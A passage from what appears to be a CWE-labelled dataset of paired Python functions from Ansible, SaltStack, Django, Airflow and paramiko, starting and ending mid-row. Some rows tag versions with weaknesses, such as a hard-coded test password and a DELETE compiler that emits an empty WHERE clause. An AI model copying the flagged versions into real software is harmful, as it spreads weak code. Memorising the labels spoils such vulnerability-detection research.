            category_list.append(entry)
    else:
        # one or more categories specified
        category_list = module.params['category']

    for category in category_list:
        command_list = []
        # Build Command list for each Category
        if category in CATEGORY_COMMANDS_ALL:
            if not module.params['command']:
                # True if we don't specify a command --> use default
                command_list.append(CATEGORY_COMMANDS_DEFAULT[category])
            elif ""all"" in module.params['command']:
                for entry in range(len(CATEGORY_COMMANDS_ALL[category])):
                    command_list.append(CATEGORY_COMMANDS_ALL[category][entry])
            # one or more commands
            else:
                command_list = module.params['command']
                # Verify that all commands are valid
                for cmd in command_list:
                    # Fail if even one command given is invalid
                    if cmd not in CATEGORY_COMMANDS_ALL[category]:
                        module.fail_json(msg=""Invalid Command: %s"" % cmd)
        else:
            # Fail if even one category given is invalid
            module.fail_json(msg=""Invalid Category: %s"" % category)

        # Organize by Categories / Commands
        if category == ""Systems"":
            # execute only if we find a Systems resource
            resource = rf_utils._find_systems_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetSystemInventory"":
                    result[""system""] = rf_utils.get_multi_system_inventory()
                elif command == ""GetCpuInventory"":
                    result[""cpu""] = rf_utils.get_multi_cpu_inventory()
                elif command == ""GetMemoryInventory"":
                    result[""memory""] = rf_utils.get_multi_memory_inventory()
                elif command == ""GetNicInventory"":
                    result[""nic""] = rf_utils.get_multi_nic_inventory(category)
                elif command == ""GetStorageControllerInventory"":
                    result[""storage_controller""] = rf_utils.get_multi_storage_controller_inventory()
                elif command == ""GetDiskInventory"":
                    result[""disk""] = rf_utils.get_multi_disk_inventory()
                elif command == ""GetVolumeInventory"":
                    result[""volume""] = rf_utils.get_multi_volume_inventory()
                elif command == ""GetBiosAttributes"":
                    result[""bios_attribute""] = rf_utils.get_multi_bios_attributes()
                elif command == ""GetBootOrder"":
                    result[""boot_order""] = rf_utils.get_multi_boot_order()
                elif command == ""GetBootOverride"":
                    result[""boot_override""] = rf_utils.get_multi_boot_override()

        elif category == ""Chassis"":
            # execute only if we find Chassis resource
            resource = rf_utils._find_chassis_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetFanInventory"":
                    result[""fan""] = rf_utils.get_fan_inventory()
                elif command == ""GetPsuInventory"":
                    result[""psu""] = rf_utils.get_psu_inventory()
                elif command == ""GetChassisThermals"":
                    result[""thermals""] = rf_utils.get_chassis_thermals()
                elif command == ""GetChassisPower"":
                    result[""chassis_power""] = rf_utils.get_chassis_power()
                elif command == ""GetChassisInventory"":
                    result[""chassis""] = rf_utils.get_chassis_inventory()

        elif category == ""Accounts"":
            # execute only if we find an Account service resource
            resource = rf_utils._find_accountservice_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""ListUsers"":
                    result[""user""] = rf_utils.list_users()

        elif category == ""Update"":
            # execute only if we find UpdateService resources
            resource = rf_utils._find_updateservice_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetFirmwareInventory"":
                    result[""firmware""] = rf_utils.get_firmware_inventory()
                elif command == ""GetFirmwareUpdateCapabilities"":
                    result[""firmware_update_capabilities""] = rf_utils.get_firmware_update_capabilities()

        elif category == ""Sessions"":
            # execute only if we find SessionService resources
            resource = rf_utils._find_sessionservice_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetSessions"":
                    result[""session""] = rf_utils.get_sessions()

        elif category == ""Manager"":
            # execute only if we find a Manager service resource
            resource = rf_utils._find_managers_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetManagerNicInventory"":
                    result[""manager_nics""] = rf_utils.get_multi_nic_inventory(category)
                elif command == ""GetVirtualMedia"":
                    result[""virtual_media""] = rf_utils.get_multi_virtualmedia()
                elif command == ""GetLogs"":
                    result[""log""] = rf_utils.get_logs()

    # Return data back
    if is_old_facts:
        module.exit_json(ansible_facts=dict(redfish_facts=result))
    else:
        module.exit_json(redfish_facts=result)",,ansible/ansible,4de3e2b44049098f007f75728707ef00b5bdf97e,"def main():
    result = {}
    category_list = []
    module = AnsibleModule(
        argument_spec=dict(
            category=dict(type='list', default=['Systems']),
            command=dict(type='list'),
            baseuri=dict(required=True),
            username=dict(required=True),
            password=dict(required=True, no_log=True),
            timeout=dict(type='int', default=10)
        ),
        supports_check_mode=False
    )
    is_old_facts = module._name == 'redfish_facts'
    if is_old_facts:
        module.deprecate(""The 'redfish_facts' module has been renamed to 'redfish_info', ""
                         ""and the renamed one no longer returns ansible_facts"", version='2.13')

    # admin credentials used for authentication
    creds = {'user': module.params['username'],
             'pswd': module.params['password']}

    # timeout
    timeout = module.params['timeout']

    # Build root URI
    root_uri = ""https://"" + module.params['baseuri']
    rf_utils = RedfishUtils(creds, root_uri, timeout, module)

    # Build Category list
    if ""all"" in module.params['category']:
        for entry in CATEGORY_COMMANDS_ALL:
            category_list.append(entry)
    else:
        # one or more categories specified
        category_list = module.params['category']

    for category in category_list:
        command_list = []
        # Build Command list for each Category
        if category in CATEGORY_COMMANDS_ALL:
            if not module.params['command']:
                # True if we don't specify a command --> use default
                command_list.append(CATEGORY_COMMANDS_DEFAULT[category])
            elif ""all"" in module.params['command']:
                for entry in range(len(CATEGORY_COMMANDS_ALL[category])):
                    command_list.append(CATEGORY_COMMANDS_ALL[category][entry])
            # one or more commands
            else:
                command_list = module.params['command']
                # Verify that all commands are valid
                for cmd in command_list:
                    # Fail if even one command given is invalid
                    if cmd not in CATEGORY_COMMANDS_ALL[category]:
                        module.fail_json(msg=""Invalid Command: %s"" % cmd)
        else:
            # Fail if even one category given is invalid
            module.fail_json(msg=""Invalid Category: %s"" % category)

        # Organize by Categories / Commands
        if category == ""Systems"":
            # execute only if we find a Systems resource
            resource = rf_utils._find_systems_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetSystemInventory"":
                    result[""system""] = rf_utils.get_multi_system_inventory()
                elif command == ""GetCpuInventory"":
                    result[""cpu""] = rf_utils.get_multi_cpu_inventory()
                elif command == ""GetMemoryInventory"":
                    result[""memory""] = rf_utils.get_multi_memory_inventory()
                elif command == ""GetNicInventory"":
                    result[""nic""] = rf_utils.get_multi_nic_inventory(category)
                elif command == ""GetStorageControllerInventory"":
                    result[""storage_controller""] = rf_utils.get_multi_storage_controller_inventory()
                elif command == ""GetDiskInventory"":
                    result[""disk""] = rf_utils.get_multi_disk_inventory()
                elif command == ""GetVolumeInventory"":
                    result[""volume""] = rf_utils.get_multi_volume_inventory()
                elif command == ""GetBiosAttributes"":
                    result[""bios_attribute""] = rf_utils.get_multi_bios_attributes()
                elif command == ""GetBootOrder"":
                    result[""boot_order""] = rf_utils.get_multi_boot_order()
                elif command == ""GetBootOverride"":
                    result[""boot_override""] = rf_utils.get_multi_boot_override()

        elif category == ""Chassis"":
            # execute only if we find Chassis resource
            resource = rf_utils._find_chassis_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetFanInventory"":
                    result[""fan""] = rf_utils.get_fan_inventory()
                elif command == ""GetPsuInventory"":
                    result[""psu""] = rf_utils.get_psu_inventory()
                elif command == ""GetChassisThermals"":
                    result[""thermals""] = rf_utils.get_chassis_thermals()
                elif command == ""GetChassisPower"":
                    result[""chassis_power""] = rf_utils.get_chassis_power()
                elif command == ""GetChassisInventory"":
                    result[""chassis""] = rf_utils.get_chassis_inventory()

        elif category == ""Accounts"":
            # execute only if we find an Account service resource
            resource = rf_utils._find_accountservice_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""ListUsers"":
                    result[""user""] = rf_utils.list_users()

        elif category == ""Update"":
            # execute only if we find UpdateService resources
            resource = rf_utils._find_updateservice_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetFirmwareInventory"":
                    result[""firmware""] = rf_utils.get_firmware_inventory()
                elif command == ""GetFirmwareUpdateCapabilities"":
                    result[""firmware_update_capabilities""] = rf_utils.get_firmware_update_capabilities()

        elif category == ""Sessions"":
            # excute only if we find SessionService resources
            resource = rf_utils._find_sessionservice_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetSessions"":
                    result[""session""] = rf_utils.get_sessions()

        elif category == ""Manager"":
            # execute only if we find a Manager service resource
            resource = rf_utils._find_managers_resource()
            if resource['ret'] is False:
                module.fail_json(msg=resource['msg'])

            for command in command_list:
                if command == ""GetManagerNicInventory"":
                    result[""manager_nics""] = rf_utils.get_multi_nic_inventory(category)
                elif command == ""GetVirtualMedia"":
                    result[""virtual_media""] = rf_utils.get_multi_virtualmedia()
                elif command == ""GetLogs"":
                    result[""log""] = rf_utils.get_logs()

    # Return data back
    if is_old_facts:
        module.exit_json(ansible_facts=dict(redfish_facts=result))
    else:
        module.exit_json(redfish_facts=result)"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_mysql_user.py,1,"def test_present():
    """"""
    Test to ensure that the named user is present with
    the specified properties.
    """"""
    name = ""frank""
    password = ""bob@cat""

    ret = {""name"": name, ""result"": False, ""comment"": """", ""changes"": {}}

    mock = MagicMock(
        side_effect=[
            True,
            False,
            True,
            False,
            False,
            True,
            False,
            False,
            False,
            False,
            False,
            True,
        ]
    )
    mock_t = MagicMock(return_value=True)
    mock_f = MagicMock(return_value=False)
    mock_str = MagicMock(return_value=""salt"")
    mock_none = MagicMock(return_value=None)
    mock_sn = MagicMock(side_effect=[None, ""salt"", None, None, None])
    with patch.object(salt.utils.data, ""is_true"", mock_f):
        comt = (
            ""Either password or password_hash must be specified,""
            "" unless allow_passwordless is True""
        )
        ret.update({""comment"": comt})
        assert mysql_user.present(name) == ret

    with patch.dict(
        mysql_user.__salt__, {""mysql.user_exists"": mock, ""mysql.user_chpass"": mock_t},
    ):
        with patch.object(salt.utils.data, ""is_true"", mock_t):
            comt = ""User frank@localhost is already present with passwordless login""
            ret.update({""comment"": comt, ""result"": True})
            assert mysql_user.present(name) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_str):
                ret.update({""comment"": ""salt"", ""result"": False})
                assert mysql_user.present(name) == ret

        with patch.object(mysql_user, ""_get_mysql_error"", mock_str):
            comt = ""User frank@localhost is already present with the desired password""
            ret.update({""comment"": comt, ""result"": True})
            assert mysql_user.present(name, password=password) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_str):
                ret.update({""comment"": ""salt"", ""result"": False})
                assert mysql_user.present(name, password=password) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_none):
                with patch.dict(mysql_user.__opts__, {""test"": True}):
                    comt = ""Password for user frank@localhost is set to be changed""
                    ret.update({""comment"": comt, ""result"": None})
                    assert mysql_user.present(name, password=password) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_sn):
                with patch.dict(mysql_user.__opts__, {""test"": False}):
                    ret.update({""comment"": ""salt"", ""result"": False})
                    assert mysql_user.present(name, password=password) == ret

                with patch.dict(mysql_user.__opts__, {""test"": True}):
                    comt = ""User frank@localhost is set to be added""
                    ret.update({""comment"": comt, ""result"": None})
                    assert mysql_user.present(name, password=password) == ret

                with patch.dict(mysql_user.__opts__, {""test"": False}):
                    comt = ""Password for user frank@localhost has been changed""
                    ret.update(
                        {""comment"": comt, ""result"": True, ""changes"": {name: ""Updated""}}
                    )
                    assert mysql_user.present(name, password=password) == ret","CWE-259, CWE-703",saltstack/salt,6b7b5094bac1d76db485eb0fbc7ce9544d418a5c,"def test_present():
    """"""
    Test to ensure that the named user is present with
     the specified properties.
    """"""
    name = ""frank""
    password = ""bob@cat""

    ret = {""name"": name, ""result"": False, ""comment"": """", ""changes"": {}}

    mock = MagicMock(
        side_effect=[
            True,
            False,
            True,
            False,
            False,
            True,
            False,
            False,
            False,
            False,
            False,
            True,
        ]
    )
    mock_t = MagicMock(return_value=True)
    mock_f = MagicMock(return_value=False)
    mock_str = MagicMock(return_value=""salt"")
    mock_none = MagicMock(return_value=None)
    mock_sn = MagicMock(side_effect=[None, ""salt"", None, None, None])
    with patch.object(salt.utils.data, ""is_true"", mock_f):
        comt = (
            ""Either password or password_hash must be specified,""
            "" unless allow_passwordless is True""
        )
        ret.update({""comment"": comt})
        assert mysql_user.present(name) == ret

    with patch.dict(
        mysql_user.__salt__, {""mysql.user_exists"": mock, ""mysql.user_chpass"": mock_t},
    ):
        with patch.object(salt.utils.data, ""is_true"", mock_t):
            comt = ""User frank@localhost is already present with passwordless login""
            ret.update({""comment"": comt, ""result"": True})
            assert mysql_user.present(name) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_str):
                ret.update({""comment"": ""salt"", ""result"": False})
                assert mysql_user.present(name) == ret

        with patch.object(mysql_user, ""_get_mysql_error"", mock_str):
            comt = ""User frank@localhost is already present with the desired password""
            ret.update({""comment"": comt, ""result"": True})
            assert mysql_user.present(name, password=password) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_str):
                ret.update({""comment"": ""salt"", ""result"": False})
                assert mysql_user.present(name, password=password) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_none):
                with patch.dict(mysql_user.__opts__, {""test"": True}):
                    comt = ""Password for user frank@localhost is set to be changed""
                    ret.update({""comment"": comt, ""result"": None})
                    assert mysql_user.present(name, password=password) == ret

            with patch.object(mysql_user, ""_get_mysql_error"", mock_sn):
                with patch.dict(mysql_user.__opts__, {""test"": False}):
                    ret.update({""comment"": ""salt"", ""result"": False})
                    assert mysql_user.present(name, password=password) == ret

                with patch.dict(mysql_user.__opts__, {""test"": True}):
                    comt = ""User frank@localhost is set to be added""
                    ret.update({""comment"": comt, ""result"": None})
                    assert mysql_user.present(name, password=password) == ret

                with patch.dict(mysql_user.__opts__, {""test"": False}):
                    comt = ""Password for user frank@localhost has been changed""
                    ret.update(
                        {""comment"": comt, ""result"": True, ""changes"": {name: ""Updated""}}
                    )
                    assert mysql_user.present(name, password=password) == ret"
,UNKNOWN,UNKNOWN,django/db/models/sql/compiler.py,1,"def as_sql(self):
        """"""
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """"""
        assert len(self.query.tables) == 1, \
                ""Can only delete from one table at a time.""
        qn = self.quote_name_unless_alias
        result = ['DELETE FROM %s' % qn(self.query.tables[0])]
        where, params = self.query.where.as_sql(qn=qn, connection=self.connection)
        if where:
            result.append('WHERE %s' % where)
        return ' '.join(result), tuple(params)",CWE-703,django/django,1cd6e04cd4f768bcd4385b75de433d497d938f82,"def as_sql(self):
        """"""
        Creates the SQL for this query. Returns the SQL string and list of
        parameters.
        """"""
        assert len(self.query.tables) == 1, \
                ""Can only delete from one table at a time.""
        qn = self.quote_name_unless_alias
        result = ['DELETE FROM %s' % qn(self.query.tables[0])]
        where, params = self.query.where.as_sql(qn=qn, connection=self.connection)
        result.append('WHERE %s' % where)
        return ' '.join(result), tuple(params)"
,UNKNOWN,UNKNOWN,django/db/models/sql/query.py,1,"def combine(self, rhs, connector):
        """"""
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, ""to the right of"") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """"""
        assert self.model == rhs.model, \
                ""Cannot combine queries on two different base models.""
        assert self.can_filter(), \
                ""Cannot combine queries once a slice has been taken.""
        assert self.distinct == rhs.distinct, \
            ""Cannot combine a unique query with a non-unique query.""
        assert self.distinct_fields == rhs.distinct_fields, \
            ""Cannot combine queries with different distinct fields.""

        self.remove_inherited_models()
        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            table, _, join_type, lhs, join_cols, nullable, join_field = rhs.alias_map[alias]
            promote = (join_type == self.LOUTER)
            # If the left side of the join was already relabeled, use the
            # updated alias.
            lhs = change_map.get(lhs, lhs)
            new_alias = self.join(
                (lhs, table, join_cols), reuse=reuse,
                outer_if_first=not conjunction, nullable=nullable,
                join_field=join_field)
            if promote:
                self.promote_joins([new_alias])
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)

        # So that we don't exclude valid results in an OR query combination,
        # all joins exclusive to either the lhs or the rhs must be converted
        # to an outer join. RHS joins were already set to outer joins above,
        # so check which joins were used only in the lhs query.
        if not conjunction:
            rhs_used_joins = set(change_map.values())
            to_promote = [alias for alias in self.tables
                          if alias not in rhs_used_joins]
            self.promote_joins(to_promote, True)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        if rhs.where:
            w = rhs.where.clone()
            w.relabel_aliases(change_map)
            if not self.where:
                # Since 'self' matches everything, add an explicit ""include
                # everything"" where-constraint so that connections between the
                # where clauses won't exclude valid results.
                self.where.add(EverythingNode(), AND)
        elif self.where:
            # rhs has an empty where clause.
            w = self.where_class()
            w.add(EverythingNode(), AND)
        else:
            w = self.where_class()
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col, field in rhs.select:
            if isinstance(col, (list, tuple)):
                new_col = change_map.get(col[0], col[0]), col[1]
                self.select.append(SelectInfo(new_col, field))
            else:
                new_col = col.relabeled_clone(change_map)
                self.select.append(SelectInfo(new_col, field))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self.extra and rhs.extra:
                raise ValueError(""When merging querysets using 'or', you ""
                        ""cannot have extra(select=...) on both sides."")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by and rhs.order_by[:] or self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by",CWE-703,django/django,97774429aeb54df4c09895c07cd1b09e70201f7d,"def combine(self, rhs, connector):
        """"""
        Merge the 'rhs' query into the current one (with any 'rhs' effects
        being applied *after* (that is, ""to the right of"") anything in the
        current query. 'rhs' is not modified during a call to this function.

        The 'connector' parameter describes how to connect filters from the
        'rhs' query.
        """"""
        assert self.model == rhs.model, \
                ""Cannot combine queries on two different base models.""
        assert self.can_filter(), \
                ""Cannot combine queries once a slice has been taken.""
        assert self.distinct == rhs.distinct, \
            ""Cannot combine a unique query with a non-unique query.""
        assert self.distinct_fields == rhs.distinct_fields, \
            ""Cannot combine queries with different distinct fields.""

        self.remove_inherited_models()
        # Work out how to relabel the rhs aliases, if necessary.
        change_map = {}
        conjunction = (connector == AND)

        # Determine which existing joins can be reused. When combining the
        # query with AND we must recreate all joins for m2m filters. When
        # combining with OR we can reuse joins. The reason is that in AND
        # case a single row can't fulfill a condition like:
        #     revrel__col=1 & revrel__col=2
        # But, there might be two different related rows matching this
        # condition. In OR case a single True is enough, so single row is
        # enough, too.
        #
        # Note that we will be creating duplicate joins for non-m2m joins in
        # the AND case. The results will be correct but this creates too many
        # joins. This is something that could be fixed later on.
        reuse = set() if conjunction else set(self.tables)
        # Base table must be present in the query - this is the same
        # table on both sides.
        self.get_initial_alias()
        # Now, add the joins from rhs query into the new query (skipping base
        # table).
        for alias in rhs.tables[1:]:
            table, _, join_type, lhs, lhs_col, col, nullable, join_field = rhs.alias_map[alias]
            promote = (join_type == self.LOUTER)
            # If the left side of the join was already relabeled, use the
            # updated alias.
            lhs = change_map.get(lhs, lhs)
            new_alias = self.join(
                (lhs, table, lhs_col, col), reuse=reuse,
                outer_if_first=not conjunction, nullable=nullable,
                join_field=join_field)
            if promote:
                self.promote_joins([new_alias])
            # We can't reuse the same join again in the query. If we have two
            # distinct joins for the same connection in rhs query, then the
            # combined query must have two joins, too.
            reuse.discard(new_alias)
            change_map[alias] = new_alias
            if not rhs.alias_refcount[alias]:
                # The alias was unused in the rhs query. Unref it so that it
                # will be unused in the new query, too. We have to add and
                # unref the alias so that join promotion has information of
                # the join type for the unused alias.
                self.unref_alias(new_alias)

        # So that we don't exclude valid results in an OR query combination,
        # all joins exclusive to either the lhs or the rhs must be converted
        # to an outer join. RHS joins were already set to outer joins above,
        # so check which joins were used only in the lhs query.
        if not conjunction:
            rhs_used_joins = set(change_map.values())
            to_promote = [alias for alias in self.tables
                          if alias not in rhs_used_joins]
            self.promote_joins(to_promote, True)

        # Now relabel a copy of the rhs where-clause and add it to the current
        # one.
        if rhs.where:
            w = rhs.where.clone()
            w.relabel_aliases(change_map)
            if not self.where:
                # Since 'self' matches everything, add an explicit ""include
                # everything"" where-constraint so that connections between the
                # where clauses won't exclude valid results.
                self.where.add(EverythingNode(), AND)
        elif self.where:
            # rhs has an empty where clause.
            w = self.where_class()
            w.add(EverythingNode(), AND)
        else:
            w = self.where_class()
        self.where.add(w, connector)

        # Selection columns and extra extensions are those provided by 'rhs'.
        self.select = []
        for col, field in rhs.select:
            if isinstance(col, (list, tuple)):
                new_col = change_map.get(col[0], col[0]), col[1]
                self.select.append(SelectInfo(new_col, field))
            else:
                new_col = col.relabeled_clone(change_map)
                self.select.append(SelectInfo(new_col, field))

        if connector == OR:
            # It would be nice to be able to handle this, but the queries don't
            # really make sense (or return consistent value sets). Not worth
            # the extra complexity when you can write a real query instead.
            if self.extra and rhs.extra:
                raise ValueError(""When merging querysets using 'or', you ""
                        ""cannot have extra(select=...) on both sides."")
        self.extra.update(rhs.extra)
        extra_select_mask = set()
        if self.extra_select_mask is not None:
            extra_select_mask.update(self.extra_select_mask)
        if rhs.extra_select_mask is not None:
            extra_select_mask.update(rhs.extra_select_mask)
        if extra_select_mask:
            self.set_extra_mask(extra_select_mask)
        self.extra_tables += rhs.extra_tables

        # Ordering uses the 'rhs' ordering, unless it has none, in which case
        # the current ordering is used.
        self.order_by = rhs.order_by and rhs.order_by[:] or self.order_by
        self.extra_order_by = rhs.extra_order_by or self.extra_order_by"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/variable.py,0,"def update(
        cls,
        key: str,
        value: Any,
        serialize_json: bool = False,
        session: Session = None,
    ):
        """"""
        Updates a given Airflow Variable with the Provided value

        :param key: Variable Key
        :param value: Value to set for the Variable
        :param serialize_json: Serialize the value to a JSON string
        :param session: SQL Alchemy Session
        """"""
        cls.check_for_write_conflict(key)

        if cls.get_variable_from_secrets(key=key) is None:
            raise KeyError(f'Variable {key} does not exist')

        obj = session.query(cls).filter(cls.key == key).first()
        if obj is None:
            raise AttributeError(f'Variable {key} does not exist in the Database and cannot be updated.')

        cls.set(key, value, description=obj.description, serialize_json=serialize_json)",CWE-Unknown,apache/airflow,93d2a1626d4da4ae372f5c5edb47a12afc388d33,"def update(
        cls,
        key: str,
        value: Any,
        serialize_json: bool = False,
        session: Session = None,
    ):
        """"""
        Updates a given Airflow Variable with the Provided value

        :param key: Variable Key
        :param value: Value to set for the Variable
        :param serialize_json: Serialize the value to a JSON string
        :param session: SQL Alchemy Session
        """"""
        cls.check_for_write_conflict(key)

        if cls.get_variable_from_secrets(key) is None:
            raise KeyError(f'Variable {key} does not exist')

        obj = session.query(cls).filter(cls.key == key).first()
        if obj is None:
            raise AttributeError(f'Variable {key} does not exist in the Database and cannot be updated.')

        cls.set(key, value, description=obj.description, serialize_json=serialize_json)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/transport.py,0,"def _join_lingering_threads():
    for thr in _active_threads:
        thr.stop_thread()",,paramiko/paramiko,86688c1b9d37dd75f99b6eefb00200a1abb4cf51,"def _join_lingering_threads():
    for thr in _active_threads:
        thr.stop_thread()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www_rbac/app.py,0,"def create_app(config=None, session=None, testing=False, app_name=""Airflow""):
    global app, appbuilder
    app = Flask(__name__)
    if conf.getboolean('webserver', 'ENABLE_PROXY_FIX'):
        app.wsgi_app = ProxyFix(app.wsgi_app)
    app.secret_key = conf.get('webserver', 'SECRET_KEY')

    airflow_home_path = conf.get('core', 'AIRFLOW_HOME')
    webserver_config_path = airflow_home_path + '/webserver_config.py'
    app.config.from_pyfile(webserver_config_path, silent=True)
    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
    app.config['APP_NAME'] = app_name
    app.config['TESTING'] = testing

    csrf.init_app(app)

    db = SQLA(app)

    from airflow import api
    api.load_auth()
    api.api_auth.init_app(app)

    # flake8: noqa: F841
    cache = Cache(app=app, config={'CACHE_TYPE': 'filesystem', 'CACHE_DIR': '/tmp'})

    from airflow.www_rbac.blueprints import routes
    app.register_blueprint(routes)

    configure_logging()
    configure_manifest_files(app)

    with app.app_context():

        from airflow.www_rbac.security import AirflowSecurityManager
        security_manager_class = app.config.get('SECURITY_MANAGER_CLASS') or \
            AirflowSecurityManager

        if not issubclass(security_manager_class, AirflowSecurityManager):
            raise Exception(
                """"""Your CUSTOM_SECURITY_MANAGER must now extend AirflowSecurityManager,
                 not FAB's security manager."""""")

        appbuilder = AppBuilder(
            app,
            db.session if not session else session,
            security_manager_class=security_manager_class,
            base_template='appbuilder/baselayout.html')

        def init_views(appbuilder):
            from airflow.www_rbac import views
            appbuilder.add_view_no_menu(views.Airflow())
            appbuilder.add_view_no_menu(views.DagModelView())
            appbuilder.add_view_no_menu(views.ConfigurationView())
            appbuilder.add_view_no_menu(views.VersionView())
            appbuilder.add_view(views.DagRunModelView,
                                ""DAG Runs"",
                                category=""Browse"",
                                category_icon=""fa-globe"")
            appbuilder.add_view(views.JobModelView,
                                ""Jobs"",
                                category=""Browse"")
            appbuilder.add_view(views.LogModelView,
                                ""Logs"",
                                category=""Browse"")
            appbuilder.add_view(views.SlaMissModelView,
                                ""SLA Misses"",
                                category=""Browse"")
            appbuilder.add_view(views.TaskInstanceModelView,
                                ""Task Instances"",
                                category=""Browse"")
            appbuilder.add_link(""Configurations"",
                                href='/configuration',
                                category=""Admin"",
                                category_icon=""fa-user"")
            appbuilder.add_view(views.ConnectionModelView,
                                ""Connections"",
                                category=""Admin"")
            appbuilder.add_view(views.PoolModelView,
                                ""Pools"",
                                category=""Admin"")
            appbuilder.add_view(views.VariableModelView,
                                ""Variables"",
                                category=""Admin"")
            appbuilder.add_view(views.XComModelView,
                                ""XComs"",
                                category=""Admin"")
            appbuilder.add_link(""Documentation"",
                                href='https://airflow.apache.org/',
                                category=""Docs"",
                                category_icon=""fa-cube"")
            appbuilder.add_link(""Github"",
                                href='https://github.com/apache/airflow',
                                category=""Docs"")
            appbuilder.add_link('Version',
                                href='/version',
                                category='About',
                                category_icon='fa-th')

            def integrate_plugins():
                """"""Integrate plugins to the context""""""
                from airflow.plugins_manager import (
                    flask_appbuilder_views, flask_appbuilder_menu_links)

                for v in flask_appbuilder_views:
                    log.debug(""Adding view %s"", v[""name""])
                    appbuilder.add_view(v[""view""],
                                        v[""name""],
                                        category=v[""category""])
                for ml in sorted(flask_appbuilder_menu_links, key=lambda x: x[""name""]):
                    log.debug(""Adding menu link %s"", ml[""name""])
                    appbuilder.add_link(ml[""name""],
                                        href=ml[""href""],
                                        category=ml[""category""],
                                        category_icon=ml[""category_icon""])

            integrate_plugins()
            # Garbage collect old permissions/views after they have been modified.
            # Otherwise, when the name of a view or menu is changed, the framework
            # will add the new Views and Menus names to the backend, but will not
            # delete the old ones.

        init_views(appbuilder)

        security_manager = appbuilder.sm
        security_manager.sync_roles()

        from airflow.www_rbac.api.experimental import endpoints as e
        # required for testing purposes otherwise the module retains
        # a link to the default_auth
        if app.config['TESTING']:
            if six.PY2:
                reload(e) # noqa
            else:
                import importlib
                importlib.reload(e)

        app.register_blueprint(e.api_experimental, url_prefix='/api/experimental')

        @app.context_processor
        def jinja_globals():
            return {
                'hostname': socket.getfqdn(),
                'navbar_color': conf.get('webserver', 'NAVBAR_COLOR'),
            }

        @app.teardown_appcontext
        def shutdown_session(exception=None):
            settings.Session.remove()

    return app, appbuilder",CWE-Unknown,apache/airflow,c565241305fe41c4a8bcd851d4a99c619ed41cc2,"def create_app(config=None, session=None, testing=False, app_name=""Airflow""):
    global app, appbuilder
    app = Flask(__name__)
    if conf.getboolean('webserver', 'ENABLE_PROXY_FIX'):
        app.wsgi_app = ProxyFix(app.wsgi_app)
    app.secret_key = conf.get('webserver', 'SECRET_KEY')

    airflow_home_path = conf.get('core', 'AIRFLOW_HOME')
    webserver_config_path = airflow_home_path + '/webserver_config.py'
    app.config.from_pyfile(webserver_config_path, silent=True)
    app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
    app.config['APP_NAME'] = app_name
